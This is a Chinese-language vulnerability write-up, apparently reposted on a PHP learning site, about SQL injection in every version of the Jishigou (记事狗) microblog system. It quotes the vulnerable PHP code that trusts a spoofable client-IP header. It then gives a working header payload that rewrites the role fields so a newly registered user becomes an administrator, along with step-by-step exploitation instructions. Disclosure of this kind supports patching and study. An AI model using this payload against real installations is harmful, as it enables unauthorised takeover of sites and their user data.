网站地图    收藏   

主页 > 后端 > 网站安全 >

记事狗微博全版本注册管理员漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 问题出在一个通用函数上,只要用到这个函数的都存在漏洞,爆管理账号密码的我就不写了,密码有salt意义不大。如果能绕过通用防注入,这套系就太多漏洞了。很多地方都是因为不能...

问题出在一个通用函数上,只要用到这个函数的都存在漏洞,爆管理账号密码的我就不写了,密码有salt意义不大。如果能绕过通用防注入,这套系就太多漏洞了。很多地方都是因为不能注释,闭合不了,而不能进行利用,虽然很多地方都能引入引号但是过滤了一些危险函数。总体来讲还是挺安全的。
 
 
 
include/class/passport.class.php
 
function login($nickname, $password, $is = '') {

......

$member = $this->login_check($nickname, $password, $is);



$_uid = $member['uid'];

if($_uid < 1)

{

$error = '登录失败: ' . $login_rets[$_uid];

return array('uid' => $_uid, 'error'=>$error);

}

else //登陆成功

{

$member['uc_syn_html'] = $uc_syn_html;





$timestamp=time();

$last_ip=client_ip();//问题出在这儿,跟进0x01

$sql="

UPDATE

".TABLE_PREFIX.'members'."

SET

`lastactivity`='{$timestamp}',

`lastip`='{$last_ip}'

WHERE

uid={$_uid}";

DB::query($sql);

}


include/function/global.func.php 0x01

function client_ip() {

$vs = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'); //HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR是可伪造的。

foreach($vs as $v) {

$ip = (getenv($v) ? getenv($v) : $_SERVER[$v]);

if($ip && strcasecmp($ip, 'unknown')) {

break;

}

}

$ips = explode('.', $ip); 

/*

 

 
以点号为分隔符,分割IP.然后将每一位与1比较,看是否小于1,如果小于1,ip=127.0.0.1我们提交
 
1.1.1.1',role_id=2,role_type='admin
 
第一个1不小于1,第二个1不小于1,第3个1不小于1,第4个1',role_id=2,role_type='admin其实与1比较值也是1,所以还是不小于1,成功绕过。
 

*/

for($i = 0; $i < 4; $i++) {

if($ips[$i] < 1) {

$ip = '127.0.0.1';

break;

}

}

return $ip;

}

 

 
 
伪造HTTP_CLIENT_IP或者HTTP_X_FORWARDED_FOR,这里我就伪造HTTP_CLIENT_IP来做演示。
 
伪造HTTP_CLIENT_IP为1.1.1.1',role_id=2,role_type='admin
 
 
 
首先不要伪造HTTP_CLIENT_IP注册一个用户,因为注册的时候也用到了client_ip,因为过滤了注释,而且同时把client_ip赋值给了last_ip跟reg_ip,所以闭合不了,所以不能直接注册为管理员。正常流程注册一个普通账号过后。它提示
 
向大家做一个自我介绍,给大家一个与我互动的机会!
 
我的第一次(我的第一次没了。。。)
 
不用管它,直接伪造HTTP_CLIENT_IP,然后刷新就注入成功了。
 
!!!注意看我图里面的Modify Headers的状态(左下角红色的那个)。
 
登陆管理员的时候记得不要伪造HTTP_CLIENT_IP,不然会提示SQL语句错误,因为登陆的时候也用到了ip....当然你也可以直接在登陆页面注入。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论